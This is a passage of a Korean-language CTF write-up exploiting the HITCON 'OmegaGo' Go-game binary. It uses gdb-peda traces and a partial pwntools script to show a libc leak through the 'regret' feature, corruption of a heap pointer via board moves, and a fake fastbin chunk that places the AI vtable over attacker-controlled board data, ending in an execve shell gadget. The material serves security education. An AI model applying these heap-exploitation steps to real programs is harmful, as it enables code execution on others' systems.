...
- 화면에 출력된 Address를 해석하기 위해서는 Board에 저장되는 Mark의 값이 어떻게 관리 되는지 확인이 필요합니다.
- 다음과 같이 유저가 좌표 값을 입력하면 메모리 값은 다음과 같이 변경됩니다.
유저가 입력한 값은 0x609fc0 영역에 0x2가 저장됩니다.
컴퓨터가 입력한 값은 0x60a01A 영역에 0x1가 저장됩니다.
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q ./omega* Reading symbols from ./omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac...(no debugging symbols found)...done. gdb-peda$ r Starting program: /home/lazenca0x0/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac ...Print board... Time remain: O: 180.00, X: 180.00 A19 ...Print board... Time remain: O: 180.00, X: 171.04 ^C Program received signal SIGINT, Interrupt. gdb-peda$ x/12gx 0x609FC0 0x609fc0: 0x0000000000000002 0x0000000000000000 0x609fd0: 0x0000000000000000 0x0000000000000000 0x609fe0: 0x0000000000000000 0x0000010000000000 0x609ff0: 0x0000000000000000 0x0000000000000000 0x60a000: 0x0000000000000000 0x0000000000000000 0x60a010: 0x0000000000000000 0x0000000000010000 gdb-peda$ |
- 다음과 같이 추가적인 메모리의 변화를 확인합니다.
사용자 입력을 통해 19행을 모두 채우면 메모리에 다음과 같이 저장됩니다.
유저가 입력한 값은 0x2aaaaaaaaa 입니다.
컴퓨터가 입력한 값은 0x01555555555 입니다.
Code Block | ||
---|---|---|
| ||
ABCDEFGHIJKLMNOPQRS 19 XXXXXXXXXXXXXXXXXXX 18 ................... 17 ................... 16 ................... 15 ................... 14 ................... 13 ................... 12 ................... 11 ................... 10 .........O......... 9 ................... 8 ................... 7 ................... 6 ................... 5 ................... 4 ................... 3 ................... 2 ................... 1 OOOOOOOOOOOOOOOOOOO Time remain: O: 180.00, X: 141.02 ^C Program received signal SIGINT, Interrupt. 0x00007ffff75e66b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81 81 ../sysdeps/unix/syscall-template.S: No such file or directory. gdb-peda$ x/12gx 0x609FC0 0x609fc0: 0x0000002aaaaaaaaa 0x0000000000000000 0x609fd0: 0x0000000000000000 0x0000000000000000 0x609fe0: 0x0000000000000000 0x0000010000000000 0x609ff0: 0x0000000000000000 0x0000000000000000 0x60a000: 0x0000000000000000 0x0000000000000000 0x60a010: 0x5555500000000000 0x0000000000015555 gdb-peda$ |
- Board에 저장되는 값을 다음과 같은 방법으로 관리됩니다.
- Board영역에 저장되는 값을 bit를 이용해 저장될 값을 결정합니다.
- 다음과 같은 bit값을 이용해 player를 구분합니다.
- AI : 10 bit
- Humman : 01bit
Panel | |||||||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| |||||||||||||||||||||||||||
|
...
- 다음과 같이 "regret"기능을 이용해 Heap 영역에 "main_arena.top" 영역의 주소를 저장 할 수 있습니다.
- 사용자가 위치 값을 입력하면 GameInfo(0x80)를 생성해서 gHistory[]에 저장합니다.
- AI GameInfo : 0x61d220
- HUMAN GameInfo : 0x61d160
- AI,HUMAN GameInfo 사이에 크기가 0x20인 Heap 영역이 할당되어 있습니다.
- Heap address : 0x61d1f0
- 사용자가 위치 값을 입력하면 GameInfo(0x80)를 생성해서 gHistory[]에 저장합니다.
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q ./omega* Reading symbols from ./omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac...(no debugging symbols found)...done. gdb-peda$ r Starting program: /home/lazenca0x0/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac ABCDEFGHIJKLMNOPQRS ...Print board... Time remain: O: 180.00, X: 180.00 A19 ABCDEFGHIJKLMNOPQRS ...Print board... Time remain: O: 180.00, X: 176.49 ^C Program received signal SIGINT, Interrupt. gdb-peda$ x/4gx 0x609460 0x609460: 0x000000000061cc90 0x000000000061d160 0x609470: 0x000000000061d220 0x0000000000000000 gdb-peda$ x/4gx 0x000000000061d160 - 0x10 0x61d150: 0xb3c74b70123a5ec4 0x0000000000000091 0x61d160: 0x0000000000000002 0x0000000000000000 gdb-peda$ x/4gx 0x000000000061d220 - 0x10 0x61d210: 0x91f146e6557b6e4a 0x0000000000000091 0x61d220: 0x0000000000000002 0x0000000000000000 gdb-peda$ x/4gx 0x61d1e0 0x61d1e0: 0xf90d94745f8a1984 0x0000000000000031 0x61d1f0: 0xeeda74e900000001 0x0000000000607228 gdb-peda$ |
- "regret" 기능을 호출하게되면 gHistory[]의 맨 마지막에 저장된 2개의 GameInfo를 삭제합니다.
- 분석을 위해 "0x4015CE" 영역에 Break point를 설정합니다.
AI GameInfo(0x61d220) 영역이 해제되면 해당 영역이 Top chunk가 됩니다.
- 0x61d210 영역이 main_arena의 top 영역에 저장됩니다.
- HUMAN GameInfo(0x61d160) 영역이 해제되면 해당 영역은 Unsorted chunk가 됩니다.
- 0x61d150 영역이 main_arena.bin[0], [1] 영역에 저장됩니다.
- Unsorted chunk(0x61d150)의 fd, bk 영역에 main_arena.top의 주소 값이 저장됩니다.
Code Block | ||
---|---|---|
| ||
gdb-peda$ b *0x4015CE Breakpoint 1 at 0x4015ce gdb-peda$ c Continuing. regret Breakpoint 1, 0x00000000004015ce in ?? () gdb-peda$ i r rdi rdi 0x61d220 0x61d220 gdb-peda$ p main_arena.top $1 = (mchunkptr) 0x61d210 gdb-peda$ c Continuing. Breakpoint 1, 0x00000000004015ce in ?? () gdb-peda$ i r rdi rdi 0x61d160 0x61d160 gdb-peda$ ni gdb-peda$ p main_arena.bins[0] $2 = (mchunkptr) 0x61d150 gdb-peda$ p main_arena.bins[1] $3 = (mchunkptr) 0x61d150 gdb-peda$ gdb-peda$ x/4gx 0x61d150 0x61d150: 0xb3c74b70123a5ec4 0x0000000000000091 0x61d160: 0x00007ffff7839b78 0x00007ffff7839b78 gdb-peda$ |
- gPlayerGameInfo에 저장된 값(Heap address)을 변경하기 전에 중요한 부분이 있습니다.
- 그것은 바로 gPlayerGameInfo에 저장된 값(Heap address) 입니다.
- 해당 프로그램은 2bit를 이용해 HUMAN,AI의 표시를 구분합니다.
- 다음으로 중요한 것은 사용자 입력값에 의해 2bit 모두 1이 될 수 없습니다.
- 즉, 사용자 입력 값으로 gPlayerGameInfo에 저장된 값을 변경하는데 제약이 있다는 것입니다.
- 그것은 바로 gPlayerGameInfo에 저장된 값(Heap address) 입니다.
- 다음은 gPlayerGameInfo 전역변수에 0x61cc90 값이 저장되어 있을 경우 입니다.
- 해당 주소를 bit로 변경하면 "0110 0001 1100 1100 1001 0000"이 됩니다.
- 여기서 사용자가 값을 입력 할 수 있는 부분은 다음과 같습니다.
- bit의 값이 "00"인 부분만 값을 저장 할 수 있습니다.
- "0110 0001 1100 1100 1001 0000"
- gPlayerGameInfo 전역변수에 저장되는 주소 값을 변경하기 위해서 surrender() 함수를 호출하는 것으로 해결 할 수 있습니다.
- surrender() 함수를 호출하면 게임이 재설정됩니다.
- 재설정이 이전에 사용하던 AI, HUMAN Class 의 vtable 영역은 해제가 되지 않기 때문에 gPlayerGameInfo 전역변수에 저장되는 Heap 주소가 변경됩니다.
- surrender() 함수를 호출하면 게임이 재설정됩니다.
- 다음과 같은 방법으로 gPlayerGameInfo에 저장된 값(Heap address)을 변경할 수 있습니다.
- Script를 이용해 gHistory[]영역에 GameInfo를 365개를 저장합니다.
- 이로 인해 gPlayerGameInfo의 board[0] 영역에 Heap 영역이 저장됩니다.
- gPlayerGameInfo(0x609fc0) : 0x1c88e30
- gPlayerGameInfo(0x609fc0) : 0x1c88e30
- gPlayerGameInfo 영역에 저장된 Heap 주소 값은 사용자 입력 값으로 변경 할 수 있습니다.
- 이로 인해 gPlayerGameInfo의 board[0] 영역에 Heap 영역이 저장됩니다.
- 사용자 입력 값으로 "D19"를 입력합니다.
- 해당 값으로 인해 gPlayerGameInfo에 저장된 Heap 주소가 "0x1c88e30" 에서 "0x1c88eb0"으로 변경되었습니다.
- "0x1c88e30" + "0x80" = 0x1c88eb0
- "0x1c88e30" + "0x80" = 0x1c88eb0
- 해당 값으로 인해 gPlayerGameInfo에 저장된 Heap 주소가 "0x1c88e30" 에서 "0x1c88eb0"으로 변경되었습니다.
- Script를 이용해 gHistory[]영역에 GameInfo를 365개를 저장합니다.
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~$ gdb -p 4425 gdb-peda$ x/4gx 0x609FC0 0x609fc0: 0x0000000001c88e30 0x0000000000000000 0x609fd0: 0x0000000000000000 0x0000000000000000 gdb-peda$ b *0x4015CE Breakpoint 1 at 0x4015ce gdb-peda$ c Continuing. Input "D19" gdb-peda$ x/4gx 0x609FC0 0x609fc0: 0x0000000001c88eb0 0x0000000001c88ef0 0x609fd0: 0x0000000001c88fb0 0x0000000000000000 gdb-peda$ p/x 0x1c88e30 + 0x80 $1 = 0x1c88eb0 gdb-peda$ |
- 다음과 같은 방법으로 Unsorted chunk의 fd, bk영역에 저장된 main_arena.top의 주소 값 출력 할 수있습니다.
- "regret" 기능을 호출하면 gHistory[] 배열의 마지막에 저장된 2개의 Heap 영역이 해제됩니다.
- 앞에서 설명했듯이 HUMAN GameInfo(0x1c88ef0) 영역이 Unsorted chunk됩니다.
- Unsorted chunk(0x1c88ee0)의 fd, bk 영역에 main_arena.top의 주소 값이 저장됩니다.
- fd(0x1c88ef0) : 0x7f4b7d233b78
- bk(0x1c88ef8) : 0x7f4b7d233b78
- regret() 함수는 gHistory[365]에 저장된 주소(0x1c88eb0)를 이용해 GameInfo를 gPlayerGameInfo 전역 변수에 저장합니다.
- 즉, Unsorted chunk(0x1c88ee0)의 fd, bk 영역이 출력됩니다.
- 해당 값을 앞에서 작성한 Decode() 함수를 이용해 해석 할 수 있습니다.
- "regret" 기능을 호출하면 gHistory[] 배열의 마지막에 저장된 2개의 Heap 영역이 해제됩니다.
Code Block | ||
---|---|---|
| ||
gdb-peda$ c Continuing. Breakpoint 1, 0x00000000004015ce in ?? () gdb-peda$ c Continuing. Breakpoint 1, 0x00000000004015ce in ?? () gdb-peda$ ni gdb-peda$ x/4gx 0x1c88ef0 - 0x10 0x1c88ee0: 0x33bb5de964b6f848 0x0000000000000091 0x1c88ef0: 0x00007f4b7d233b78 0x00007f4b7d233b78 gdb-peda$ p/x 0x1c88ef0 - 0x1c88eb0 $2 = 0x40 gdb-peda$ c Continuing. ^C Program received signal SIGINT, Interrupt. 0x00007f4b7cf66230 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84 84 in ../sysdeps/unix/syscall-template.S gdb-peda$ x/12gx 0x609FC0 0x609fc0: 0x0000000000000000 0x0000000000000031 0x609fd0: 0x0000000001c88f70 0x0000000001c83880 0x609fe0: 0x0000000000000000 0x0000000000000000 0x609ff0: 0x33bb5de964b6f848 0x0000000000000091 0x60a000: 0x00007f4b7d233b78 0x00007f4b7d233b78 0x60a010: 0x0000000000000000 0x0000000000000000 gdb-peda$ |
...
- 다음과 같은 구조로 Fake chunk를 생성할 수 있습니다.
- 해당 바이너리의 취약성을 이용해 아래 조건을 만족하는 Fake chunk address를 gHistory[365]영역에 저장합니다.
- Fake chunk의 size가 0x20
- Fake chunk의 next chunk(next_size) 영역에 값이 있어야 함.
- 해당 바이너리의 취약성을 이용해 아래 조건을 만족하는 Fake chunk address를 gHistory[365]영역에 저장합니다.
Panel | ||||||||||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| ||||||||||||||||||||||||||||||
|
- 아래 스크립트를 이용해 Fake chunk의 기본 모형을 만들수 있습니다.
Code Block | ||||
---|---|---|---|---|
| ||||
... #Memory reconstruction surrender() surrender() surrender() surrender() surrender() surrender() #Fill out to board Fill('B','S',11) for count in reversed(range(1,9)): Fill('A','S',count) Fill('A','A',11) #Fake Chunk Play('D14') Play('R8') Fill('A','I',10) p.interactive() |
...
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ python test.py [!] Could not find executable 'omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' in $PATH, using './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' instead [+] Starting local process './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac': pid 7625 [*] Libc Address : 0x7ff0339f6b78 [*] Libc Base Address : 0x7ff033632000 [*] execve bash Address : 0x7ff0337186bd [*] Switching to interactive mode ABCDEFGHIJKLMNOPQRS 19 ..O...XO.\x00XX....... 18 ................... 17 ................... 16 ................... 15 ................... 14 ...X............... 13 ................... 12 .O................. 11 XXXXXXXXXXXXXXXXXXX 10 XXXXXXXXXOOOOOOOOOO 9 OOOOOOOOOOOOOOOOOOO 8 .................X. 7 ................... 6 ...............O... 5 ................... 4 ................... 3 ................... 2 ................... 1 ................... Time remain: O: 180.00, X: 179.85 $ |
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q -p 7625 Attaching to process 7625 Reading symbols from /home/lazenca0x0/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac...(no debugging symbols found)...done. Reading symbols from /usr/lib/x86_64-linux-gnu/libstdc++.so.6...(no debugging symbols found)...done. Reading symbols from /lib/x86_64-linux-gnu/libgcc_s.so.1...(no debugging symbols found)...done. Reading symbols from /lib/x86_64-linux-gnu/libc.so.6...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/libc-2.23.so...done. done. Reading symbols from /lib/x86_64-linux-gnu/libm.so.6...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/libm-2.23.so...done. done. Reading symbols from /lib64/ld-linux-x86-64.so.2...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/ld-2.23.so...done. done. 0x00007f25b8a7d230 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84 84 ../sysdeps/unix/syscall-template.S: No such file or directory. gdb-peda$ x/4gx 0x609FC0 0x609fc0: 0x0000000000ac6010 0x0000000000000000 0x609fd0: 0x0000000000000000 0x0000000000000020 gdb-peda$ x/20gx 0x0000000000ac6010 0xac6010: 0x0000000000000000 0x0000000000000000 0xac6020: 0x0000000000000000 0x0000000000000020 0xac6030: 0xaaaa000000001000 0x555555aaaaaaaaaa 0xac6040: 0x0000000155555555 0x0000000000000020 0xac6050: 0x0000000000001000 0x0000000000000000 0xac6060: 0x0000000000000000 0x0000000000000000 0xac6070: 0x0000000a00000009 0x500001000000004f 0xac6080: 0x40667febca5375c7 0x40667b29ac365450 0xac6090: 0x0000000000000000 0x000000000000df71 0xac60a0: 0x0000000000000000 0x0000000000000000 gdb-peda$ c Continuing. |
다음과 같이 gPlayerGameInfo 전역 변수에 저장된 Heap address(0xac6010)를 변경되었습니다.
위치 값으로 변경 가능한 Heap address의 bit 영역은 다음과 같습니다.
1010 1100 0110 0000 0001 0000
다음과 같이 값을 변경합니다.
1010 1100 0110 0010 1001 0000
위치 값 : D19, E19
사용자가 입력한 값 D19, E19에 의해 gPlayerGameInfo.board[0]에 저장된 값이 0xac6290 으로 변경되었습니다.
- 0xac6290 영역은 GameInfo.board[9] 영역입니다.
- 0xac6290 영역은 GameInfo.board[9] 영역입니다.
Code Block | ||
---|---|---|
| ||
$ D19 ABCDEFGHIJKLMNOPQRS 19 ..OX..OX.XXX....... ... Time remain: O: 180.00, X: 154.17 $ E19 ABCDEFGHIJKLMNOPQRS 19 ..OXX.OX.XXX....... ... Time remain: O: 180.00, X: 151.96 $ |
Code Block | ||
---|---|---|
| ||
^C Program received signal SIGINT, Interrupt. 0x00007f25b8a7d230 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84 84 in ../sysdeps/unix/syscall-template.S gdb-peda$ x/4gx 0x609FC0 0x609fc0: 0x0000000000ac6290 0x0000000000ac60d0 0x609fd0: 0x0000000000ac6190 0x0000000000ac6250 gdb-peda$ x/20gx 0x0000000000ac6290 - 0x10 0xac6280: 0x0000000155555555 0x0000000000000020 0xac6290: 0x0000000000001000 0x0000000000000000 0xac62a0: 0x0000000000000000 0x0000000000000400 0xac62b0: 0x0000000400000000 0x5000010000000058 0xac62c0: 0x40667febb1290256 0x4060b9413db7f173 0xac62d0: 0xb02c3b6be73a708c 0x0000000000000031 0xac62e0: 0xc6d1f75f00000000 0x0000000000abbc90 0xac62f0: 0x0000000000000000 0x0000000000000000 0xac6300: 0x6c0eb26d35c354ca 0x0000000000000091 0xac6310: 0x0000000000ac6290 0x0000000000ac60d0 gdb-peda$ |
- 다음과 같이 Fack Fake chunk에 AI의 vtable공간이 할당됩니다.
- UAF를 확인하기 위해 다음과 같이 Break point를 설정합니다.
...
"surrender" 를 입력하고 게임을 재시작하면 다음과 같이 Heap 영역이 변경됩니다.
변경된 heap address에 의해 Fake chunk는 fastbins에 추가 되었습니다.
- AI의 vtable을 저장 할 Heap 영역을 요청하면 fastbins에 등록되었던 Fack Fake chunk(0xac6290)가 할당됩니다.
- 이로 인해 AI vtable(0xac6290) 영역에 board[]의 정보를 덮어쓸 수 있습니다.
...